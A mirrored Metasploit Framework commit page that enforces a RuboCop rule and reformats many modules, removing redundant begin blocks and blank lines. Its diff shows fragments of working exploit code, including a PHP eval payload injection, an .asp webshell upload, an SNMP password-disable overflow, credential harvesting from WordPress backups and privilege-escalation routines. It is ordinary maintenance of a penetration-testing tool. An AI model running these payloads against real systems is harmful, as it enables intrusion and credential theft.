1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Enforce Style/RedundantBegin for new modules

This commit is contained in:
Alan Foster 2021-05-13 04:01:03 +01:00
parent 3312494a01
commit 100da2f1b1
No known key found for this signature in database
GPG Key ID: 3BD4FA3818818F04
47 changed files with 263 additions and 358 deletions

View File

@ -359,8 +359,7 @@ Layout/EmptyLinesAroundClassBody:
Description: 'these are used to increase readability' Description: 'these are used to increase readability'
Layout/EmptyLinesAroundMethodBody: Layout/EmptyLinesAroundMethodBody:
Enabled: false Enabled: true
Description: 'these are used to increase readability'
Layout/ExtraSpacingWithBinDataIgnored: Layout/ExtraSpacingWithBinDataIgnored:
Description: 'Do not use unnecessary spacing.' Description: 'Do not use unnecessary spacing.'
@ -405,18 +404,7 @@ Style/PercentLiteralDelimiters:
VersionChanged: '0.48.1' VersionChanged: '0.48.1'
Style/RedundantBegin: Style/RedundantBegin:
Exclude: Enabled: true
# this pattern is very common and somewhat unavoidable
# def run_host(ip)
# begin
# ...
# rescue ...
# ...
# ensure
# disconnect
# end
# end
- 'modules/**/*'
Style/SafeNavigation: Style/SafeNavigation:
Description: >- Description: >-

View File

@ -146,7 +146,6 @@ class MetasploitModule < Msf::Auxiliary
end end
def make_forward_request_package(method, headers, attributes) def make_forward_request_package(method, headers, attributes)
prefix_code_int = 2 prefix_code_int = 2
prefix_code_bytes = int2byte(prefix_code_int) prefix_code_bytes = int2byte(prefix_code_int)
method_bytes = int2byte(method2code(method)) method_bytes = int2byte(method2code(method))

View File

@ -170,38 +170,36 @@ class MetasploitModule < Msf::Auxiliary
end end
def run def run
begin vers_string = retrieve_asa_version
vers_string = retrieve_asa_version
print_status("Building #{action.name} payload for version #{vers_string}...") print_status("Building #{action.name} payload for version #{vers_string}...")
overflow = build_payload(vers_string, action.name) overflow = build_payload(vers_string, action.name)
payload = SNMP::ObjectId.new(overflow) payload = SNMP::ObjectId.new(overflow)
print_status('Sending SNMP payload...') print_status('Sending SNMP payload...')
response = snmp.get_bulk(0, 1, [SNMP::VarBind.new(payload)]) response = snmp.get_bulk(0, 1, [SNMP::VarBind.new(payload)])
if response.varbind_list if response.varbind_list
print_good('Clean return detected!') print_good('Clean return detected!')
if action.name == 'PASS_DISABLE' if action.name == 'PASS_DISABLE'
print_warning("Don't forget to run PASS_ENABLE after logging in!") print_warning("Don't forget to run PASS_ENABLE after logging in!")
print_warning(' set ACTION PASS_ENABLE') print_warning(' set ACTION PASS_ENABLE')
end
end end
rescue ::Rex::ConnectionError
print_error('Connection Error: Is the target up?')
rescue ::SNMP::RequestTimeout
print_error('SNMP Error: Request Timeout, Cisco ASA may have crashed :/')
rescue ::SNMP::UnsupportedVersion
print_error('SNMP Error: Version 2c is not supported by target.')
rescue ::NoMethodError
print_error("Error: No payload available for version #{vers_string}")
rescue ::Interrupt
raise $ERROR_INFO
rescue ::StandardError => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
end end
rescue ::Rex::ConnectionError
print_error('Connection Error: Is the target up?')
rescue ::SNMP::RequestTimeout
print_error('SNMP Error: Request Timeout, Cisco ASA may have crashed :/')
rescue ::SNMP::UnsupportedVersion
print_error('SNMP Error: Version 2c is not supported by target.')
rescue ::NoMethodError
print_error("Error: No payload available for version #{vers_string}")
rescue ::Interrupt
raise $ERROR_INFO
rescue ::StandardError => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
end end
def retrieve_asa_version def retrieve_asa_version

View File

@ -26,7 +26,6 @@ class MetasploitModule < Msf::Auxiliary
Opt::RPORT(22) Opt::RPORT(22)
] ]
) )
end end
def run def run

View File

@ -34,7 +34,6 @@ class MetasploitModule < Msf::Auxiliary
Opt::RPORT(22) Opt::RPORT(22)
] ]
) )
end end
def run def run

View File

@ -32,7 +32,6 @@ class MetasploitModule < Msf::Auxiliary
Opt::RPORT(22) Opt::RPORT(22)
] ]
) )
end end
def run def run

View File

@ -32,7 +32,6 @@ class MetasploitModule < Msf::Auxiliary
Opt::RPORT(22) Opt::RPORT(22)
] ]
) )
end end
def i_file def i_file

View File

@ -215,7 +215,6 @@ class MetasploitModule < Msf::Auxiliary
end end
def check def check
# Set up variables # Set up variables
os_release = '' os_release = ''
os_release_file = '/etc/os-release' os_release_file = '/etc/os-release'
@ -294,7 +293,6 @@ class MetasploitModule < Msf::Auxiliary
end end
def action_file_read def action_file_read
# Set up XML data for HTTP request # Set up XML data for HTTP request
setup_xml_and_variables setup_xml_and_variables
make_post_data(@file, dos: false) make_post_data(@file, dos: false)
@ -349,7 +347,6 @@ class MetasploitModule < Msf::Auxiliary
end end
def action_dos def action_dos
# Set up XML data for HTTP request # Set up XML data for HTTP request
setup_xml_and_variables setup_xml_and_variables
make_post_data(@file, dos: true) make_post_data(@file, dos: true)
@ -389,7 +386,6 @@ class MetasploitModule < Msf::Auxiliary
# Check HTTP response # Check HTTP response
fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200 fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200
end end
end end

View File

@ -75,24 +75,22 @@ class MetasploitModule < Msf::Auxiliary
print_status('Opened connection') print_status('Opened connection')
EM::Timer.new(1) do EM::Timer.new(1) do
begin print_status('Sending payload')
print_status('Sending payload') payload = Rex::Text.rand_text_alphanumeric(7000..8000)
payload = Rex::Text.rand_text_alphanumeric(7000..8000) driver.send({
driver.send({ jsonrpc: '2.0',
jsonrpc: '2.0', method: 'Frontend::GetFrontendSpectrumData',
method: 'Frontend::GetFrontendSpectrumData', params: {
params: { coreID: 0,
coreID: 0, fStartHz: payload,
fStartHz: payload, fStopHz: 1000000000,
fStopHz: 1000000000, fftSize: 1024,
fftSize: 1024, gain: 1
gain: 1 },
}, id: '0'
id: '0' }.to_json)
}.to_json) rescue StandardError
rescue StandardError fail_with(Failure::Unreachable, 'Could not establish websocket connection')
fail_with(Failure::Unreachable, 'Could not establish websocket connection')
end
end end
end end

View File

@ -229,7 +229,6 @@ class MetasploitModule < Msf::Auxiliary
end end
print_good("#{peer} Saved LDAP data to #{ldif_filename}") print_good("#{peer} Saved LDAP data to #{ldif_filename}")
end end
def decode_pwdhistory(hash) def decode_pwdhistory(hash)

View File

@ -68,39 +68,37 @@ class MetasploitModule < Msf::Auxiliary
# Connect to Redis and ensure compatibility. # Connect to Redis and ensure compatibility.
def redis_connect def redis_connect
begin connect
connect # NOTE: Full INFO payload fails occasionally. Using server filter until Redis library can be fixed
# NOTE: Full INFO payload fails occasionally. Using server filter until Redis library can be fixed if (info_data = redis_command('INFO', 'server')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
if (info_data = redis_command('INFO', 'server')) && /redis_version:(?<redis_version>\S+)/ =~ info_data print_good("Connected to Redis version #{redis_version}")
print_good("Connected to Redis version #{redis_version}") end
end
# Some connection attempts such as incorrect password set fail silently in the Redis library. # Some connection attempts such as incorrect password set fail silently in the Redis library.
if !info_data if !info_data
print_error('Unable to connect to Redis') print_error('Unable to connect to Redis')
print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE'] print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE']
return
end
# Ensure version compatability
if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION))
print_status("Module supports Redis #{MIN_REDIS_VERSION} or higher.")
return
end
# Connection was sucessful
return info_data
rescue Msf::Auxiliary::Failed => e
# This error trips when auth is required but password not set
print_error('Unable to connect to Redis: ' + e.message)
return
rescue Rex::ConnectionTimeout
print_error('Timed out trying to connect to Redis')
return
rescue StandardError
print_error('Unknown error trying to connect to Redis')
return return
end end
# Ensure version compatability
if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION))
print_status("Module supports Redis #{MIN_REDIS_VERSION} or higher.")
return
end
# Connection was sucessful
return info_data
rescue Msf::Auxiliary::Failed => e
# This error trips when auth is required but password not set
print_error('Unable to connect to Redis: ' + e.message)
return
rescue Rex::ConnectionTimeout
print_error('Timed out trying to connect to Redis')
return
rescue StandardError
print_error('Unknown error trying to connect to Redis')
return
end end
def check_host(_ip) def check_host(_ip)

View File

@ -79,7 +79,6 @@ class MetasploitModule < Msf::Auxiliary
end end
return 'unsupported' return 'unsupported'
end end
def rce_check(version, real_target: false) def rce_check(version, real_target: false)

View File

@ -108,48 +108,45 @@ class MetasploitModule < Msf::Auxiliary
end end
def do_enum(username) def do_enum(username)
begin vprint_status("Attempting #{username}")
vprint_status("Attempting #{username}") res = send_request_cgi({
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'webman', 'forget_passwd.cgi'),
'uri' => normalize_uri(target_uri.path, 'webman', 'forget_passwd.cgi'), 'method' => 'GET',
'method' => 'GET', 'vars_get' => {
'vars_get' => { 'user' => username
'user' => username }
} })
}) unless res
unless res
print_error('Connection to host refused')
fail_with(Failure::Unreachable, 'Connection to host refused')
end
j = res.get_json_document
if j['msg'] == 5
fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')
end
if j['msg'] == 3
fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
end
if j['msg'] == 2 || j['msg'] == 1
print_good("#{username} - #{j['info']}")
@users_found[username] = :reported
report_cred(
ip: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
proof: res.body
)
end
# msg 1 means user can login to GUI
# msg 2 means user exists but no GUI login
# msg 3 means not supported/disabled/patched
# msg 4 means no user
# msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
# count as lgin attempts.
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
print_error('Connection to host refused') print_error('Connection to host refused')
fail_with(Failure::Unreachable, 'Connection to host refused') fail_with(Failure::Unreachable, 'Connection to host refused')
rescue Timeout::Error, Errno::EPIPE
fail_with(Failure::Unreachable, 'Connection issue')
end end
j = res.get_json_document
if j['msg'] == 5
fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')
end
if j['msg'] == 3
fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
end
if j['msg'] == 2 || j['msg'] == 1
print_good("#{username} - #{j['info']}")
@users_found[username] = :reported
report_cred(
ip: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
proof: res.body
)
end
# msg 1 means user can login to GUI
# msg 2 means user exists but no GUI login
# msg 3 means not supported/disabled/patched
# msg 4 means no user
# msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
# count as lgin attempts.
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
print_error('Connection to host refused')
fail_with(Failure::Unreachable, 'Connection to host refused')
rescue Timeout::Error, Errno::EPIPE
fail_with(Failure::Unreachable, 'Connection issue')
end end
end end

View File

@ -125,47 +125,46 @@ class MetasploitModule < Msf::Auxiliary
path.split('/').last path.split('/').last
) )
print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}") print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")
begin
Zip::File.open(path) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
# Extract to file
next unless entry.name.ends_with?('.sql')
print_status("#{ip} - Attempting to pull creds from #{entry}") Zip::File.open(path) do |zip_file|
f = entry.get_input_stream.read # Handle entries one by one
f.split("\n").each do |l| zip_file.each do |entry|
next unless l.include?('INSERT INTO `wp_users` VALUES ') # Extract to file
next unless entry.name.ends_with?('.sql')
columns = ['user_login', 'user_pass'] print_status("#{ip} - Attempting to pull creds from #{entry}")
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns) f = entry.get_input_stream.read
l.split('),(').each do |user| f.split("\n").each do |l|
user = user.split(',') next unless l.include?('INSERT INTO `wp_users` VALUES ')
username = user[1].strip
username = username.start_with?("'") ? username.gsub("'", '') : username columns = ['user_login', 'user_pass']
hash = user[2].strip table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
hash = hash.start_with?("'") ? hash.gsub("'", '') : hash l.split('),(').each do |user|
create_credential({ user = user.split(',')
workspace_id: myworkspace_id, username = user[1].strip
origin_type: :service, username = username.start_with?("'") ? username.gsub("'", '') : username
module_fullname: fullname, hash = user[2].strip
username: username, hash = hash.start_with?("'") ? hash.gsub("'", '') : hash
private_type: :nonreplayable_hash, create_credential({
jtr_format: identify_hash(hash), workspace_id: myworkspace_id,
private_data: hash, origin_type: :service,
service_name: 'Wordpress', module_fullname: fullname,
address: ip, username: username,
port: datastore['RPORT'], private_type: :nonreplayable_hash,
protocol: 'tcp', jtr_format: identify_hash(hash),
status: Metasploit::Model::Login::Status::UNTRIED private_data: hash,
}) service_name: 'Wordpress',
table << [username, hash] address: ip,
end port: datastore['RPORT'],
print_good(table.to_s) protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << [username, hash]
end end
print_good(table.to_s)
end end
end end
print_status("#{ip} - finished processing backup zip")
end end
print_status("#{ip} - finished processing backup zip")
end end
end end

View File

@ -178,10 +178,8 @@ class MetasploitModule < Msf::Auxiliary
end end
def cleanup def cleanup
begin disconnect
disconnect rescue StandardError
rescue StandardError nil
nil
end
end end
end end

View File

@ -59,20 +59,18 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def firmware def firmware
begin res = send_request_cgi(
res = send_request_cgi( 'method' => 'GET',
'method' => 'GET', 'uri' => '/brand.xml'
'uri' => '/brand.xml' )
) unless res
unless res vprint_error 'Connection failed'
vprint_error 'Connection failed' return CheckCode::Unknown
return CheckCode::Unknown
end
res_xml = res.get_xml_document
@version = res_xml.at('//firmware').text
return true
end end
res_xml = res.get_xml_document
@version = res_xml.at('//firmware').text
return true
end end
def check def check

View File

@ -94,11 +94,9 @@ class MetasploitModule < Msf::Exploit::Remote
@cookie = res.get_cookies @cookie = res.get_cookies
@admin_nonce = res.get_hidden_inputs.first['admin-nonce'] @admin_nonce = res.get_hidden_inputs.first['admin-nonce']
end end
def exploit def exploit
capture_cookie_token capture_cookie_token
@task_name = Rex::Text.rand_text_alpha_lower(5) @task_name = Rex::Text.rand_text_alpha_lower(5)
@ -131,7 +129,6 @@ class MetasploitModule < Msf::Exploit::Remote
if res && res.code == 200 && res.body.include?('Successfully saved') if res && res.code == 200 && res.body.include?('Successfully saved')
print_good "Scheduler successfully created ! Wait up to #{wfs_delay} seconds" print_good "Scheduler successfully created ! Wait up to #{wfs_delay} seconds"
end end
end end
def on_new_session(_session) def on_new_session(_session)
@ -154,7 +151,6 @@ class MetasploitModule < Msf::Exploit::Remote
if res && res.code == 200 && res.body.include?('Successfully saved') if res && res.code == 200 && res.body.include?('Successfully saved')
print_good 'The scheduler config successfully cleaned up!' print_good 'The scheduler config successfully cleaned up!'
end end
end end
end end

View File

@ -132,7 +132,6 @@ class MetasploitModule < Msf::Exploit::Remote
when :php_dropper when :php_dropper
dropper dropper
end end
end end
def dropper def dropper

View File

@ -196,6 +196,5 @@ class MetasploitModule < Msf::Exploit::Remote
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end end
end end
end end

View File

@ -194,7 +194,6 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def exploit def exploit
unless check == CheckCode::Vulnerable unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable' fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end end

View File

@ -74,28 +74,26 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def exploit def exploit
begin vprint_status('Sending exploit code')
vprint_status('Sending exploit code') res = send_request_cgi(
res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'), 'method' => 'GET',
'method' => 'GET', 'encode_params' => false,
'encode_params' => false, 'vars_get' =>
'vars_get' => {
{ 'path' => 'x',
'path' => 'x', 'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal') }
} )
)
if res.nil? if res.nil?
print_good('Request timed out, OK if running a non-forking/blocking payload...') print_good('Request timed out, OK if running a non-forking/blocking payload...')
elsif res.code == 302 elsif res.code == 302
fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.') fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
else else
print_warning("Unexpected response code #{res.code}, please check your payload.") print_warning("Unexpected response code #{res.code}, please check your payload.")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end end
end end

View File

@ -134,7 +134,6 @@ class MetasploitModule < Msf::Exploit::Remote
else else
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.") fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")
end end
end end
def start_backup_and_trigger_payload def start_backup_and_trigger_payload

View File

@ -65,7 +65,6 @@ class MetasploitModule < Msf::Exploit::Local
register_advanced_options [ register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
] ]
end end
# Simplify pulling the writable directory variable # Simplify pulling the writable directory variable

View File

@ -48,7 +48,6 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}") print_status("[*] #{request.body}")
send_response(cli, '') send_response(cli, '')

View File

@ -74,7 +74,6 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}") print_status("[*] #{request.body}")
send_response(cli, '') send_response(cli, '')

View File

@ -522,15 +522,13 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::UnexpectedReply, e.message) fail_with(Failure::UnexpectedReply, e.message)
ensure ensure
[project_a, project_b].each do |project| [project_a, project_b].each do |project|
begin next unless project
next unless project
print_status("Attempting to delete project #{project['path']}") print_status("Attempting to delete project #{project['path']}")
git_lab_client.delete_project(project: project) git_lab_client.delete_project(project: project)
print_status("Deleted project #{project['path']}") print_status("Deleted project #{project['path']}")
rescue StandardError rescue StandardError
print_error("Failed to delete project #{project['path']}") print_error("Failed to delete project #{project['path']}")
end
end end
end end

View File

@ -470,7 +470,6 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def execute_java(opts = {}) def execute_java(opts = {})
template = template =
%q{ %q{
#set($_="") #set($_="")

View File

@ -398,7 +398,6 @@ class MetasploitModule < Msf::Exploit::Remote
# Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled") # Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled")
def get_hv_type def get_hv_type
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.") print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.")
res = send_request_cgi({ res = send_request_cgi({
'method' => 'POST', 'method' => 'POST',

View File

@ -88,7 +88,6 @@ class MetasploitModule < Msf::Exploit::Remote
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']), OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']]) OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
]) ])
end end
def cmd_payload(command) def cmd_payload(command)

View File

@ -258,6 +258,5 @@ class MetasploitModule < Msf::Exploit::Remote
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end end
end end
end end

View File

@ -246,7 +246,6 @@ class MetasploitModule < Msf::Exploit::Remote
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end end
end end
def on_new_session(session) def on_new_session(session)

View File

@ -156,6 +156,5 @@ class MetasploitModule < Msf::Exploit::Remote
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end end
end end
end end

View File

@ -94,7 +94,6 @@ class MetasploitModule < Msf::Exploit::Remote
end end
CheckCode::Detected CheckCode::Detected
end end
def rhost def rhost

View File

@ -203,7 +203,6 @@ class MetasploitModule < Msf::Exploit::Remote
# Main function # Main function
# ============== # ==============
def exploit def exploit
return unless check == Exploit::CheckCode::Appears return unless check == Exploit::CheckCode::Appears
@encrypted = datastore['ENCRYPTED'] @encrypted = datastore['ENCRYPTED']

View File

@ -71,27 +71,25 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def check def check
begin res = check_product_info
res = check_product_info
unless res unless res
return CheckCode::Unknown('Target is unreachable.') return CheckCode::Unknown('Target is unreachable.')
end
unless res.code == 200
return CheckCode::Unknown("Unexpected server response: #{res.code}")
end
version = Rex::Version.new(JSON.parse(res.body)['Version'])
if version <= Rex::Version.new('4.4.2.2')
CheckCode::Vulnerable("FortiLogger version #{version}")
else
CheckCode::Safe("FortiLogger version #{version}")
end
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'The target may have been updated')
end end
unless res.code == 200
return CheckCode::Unknown("Unexpected server response: #{res.code}")
end
version = Rex::Version.new(JSON.parse(res.body)['Version'])
if version <= Rex::Version.new('4.4.2.2')
CheckCode::Vulnerable("FortiLogger version #{version}")
else
CheckCode::Safe("FortiLogger version #{version}")
end
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'The target may have been updated')
end end
def create_payload def create_payload
@ -99,57 +97,55 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def exploit def exploit
begin print_good('Generate Payload')
print_good('Generate Payload') data = create_payload
data = create_payload
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}" boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
post_data = "--#{boundary}\r\n" post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n" post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
post_data << "Content-Type: image/png\r\n" post_data << "Content-Type: image/png\r\n"
post_data << "\r\n#{data}\r\n" post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n" post_data << "--#{boundary}\r\n"
res = send_request_cgi( res = send_request_cgi(
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'), 'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
'ctype' => "multipart/form-data; boundary=#{boundary}", 'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data, 'data' => post_data,
'headers' => { 'headers' => {
'Accept' => 'application/json', 'Accept' => 'application/json',
'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With' => 'XMLHttpRequest' 'X-Requested-With' => 'XMLHttpRequest'
} }
) )
unless res unless res
fail_with(Failure::Unknown, 'No response from server') fail_with(Failure::Unknown, 'No response from server')
end
unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end
json_res = begin
JSON.parse(res.body)
rescue JSON::ParserError
nil
end
if json_res.nil? || json_res['Message'] == 'Error in saving file'
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
end
print_good('Payload has been uploaded')
handler
print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
end end
unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end
json_res = begin
JSON.parse(res.body)
rescue JSON::ParserError
nil
end
if json_res.nil? || json_res['Message'] == 'Error in saving file'
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
end
print_good('Payload has been uploaded')
handler
print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
rescue StandardError => e rescue StandardError => e
fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}") fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
end end

View File

@ -80,7 +80,6 @@ class MetasploitModule < Msf::Exploit::Remote
else else
fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface') fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')
end end
end end
def prtg_create_notification(cmd) def prtg_create_notification(cmd)
@ -166,7 +165,6 @@ class MetasploitModule < Msf::Exploit::Remote
else else
fail_with(Failure::Unknown, 'Failed to create malicious notification') fail_with(Failure::Unknown, 'Failed to create malicious notification')
end end
end end
def prtg_trigger_notification def prtg_trigger_notification
@ -195,7 +193,6 @@ class MetasploitModule < Msf::Exploit::Remote
else else
fail_with(Failure::Unknown, 'Failed to trigger malicious notification') fail_with(Failure::Unknown, 'Failed to trigger malicious notification')
end end
end end
def prtg_delete_notification def prtg_delete_notification
@ -225,7 +222,6 @@ class MetasploitModule < Msf::Exploit::Remote
else else
fail_with(Failure::Unknown, 'Failed to delete malicious notification') fail_with(Failure::Unknown, 'Failed to delete malicious notification')
end end
end end
def check def check

View File

@ -121,6 +121,5 @@ class MetasploitModule < Msf::Exploit::Remote
unless res&.code == 200 unless res&.code == 200
print_error('Non-200 HTTP response received while trying to execute the command') print_error('Non-200 HTTP response received while trying to execute the command')
end end
end end
end end

View File

@ -145,7 +145,6 @@ class MetasploitModule < Msf::Exploit::Remote
end end
return CheckCode::Appears("Target is ZenTao version #{@version}.") return CheckCode::Appears("Target is ZenTao version #{@version}.")
end end
def retrieve_rand_val(res) def retrieve_rand_val(res)

View File

@ -169,15 +169,13 @@ class MetasploitModule < Msf::Exploit::Local
end end
def launch_dll_trigger def launch_dll_trigger
begin print_status('Trying to start notepad')
print_status('Trying to start notepad') process = setup_process
process = setup_process inject_magic(process)
inject_magic(process) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e
rescue Rex::Post::Meterpreter::RequestError => e elog(e)
elog(e) print_error(e.message)
print_error(e.message)
end
end end
def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname) def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
@ -289,12 +287,10 @@ class MetasploitModule < Msf::Exploit::Local
end end
def validate_active_host def validate_active_host
begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e
rescue Rex::Post::Meterpreter::RequestError => e elog(e)
elog(e) raise Msf::Exploit::Failed, 'Could not connect to session'
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end end
def validate_target def validate_target

View File

@ -150,12 +150,10 @@ class MetasploitModule < Msf::Exploit::Local
end end
def validate_active_host def validate_active_host
begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e
rescue Rex::Post::Meterpreter::RequestError => e elog('Could not connect to session', error: e)
elog('Could not connect to session', error: e) raise Msf::Exploit::Failed, 'Could not connect to session'
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end end
def validate_payload def validate_payload

View File

@ -146,12 +146,10 @@ class MetasploitModule < Msf::Exploit::Local
end end
def validate_active_host def validate_active_host
begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e
rescue Rex::Post::Meterpreter::RequestError => e elog('Could not connect to session', error: e)
elog('Could not connect to session', error: e) raise Msf::Exploit::Failed, 'Could not connect to session'
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end end
def validate_payload def validate_payload

View File

@ -64,7 +64,6 @@ class MetasploitModule < Msf::Exploit::Local
OptBool.new('STEALTH_ONLY', [false, 'Only exploit if the payload can be triggered without launching the Windows Update UI) ', false]), OptBool.new('STEALTH_ONLY', [false, 'Only exploit if the payload can be triggered without launching the Windows Update UI) ', false]),
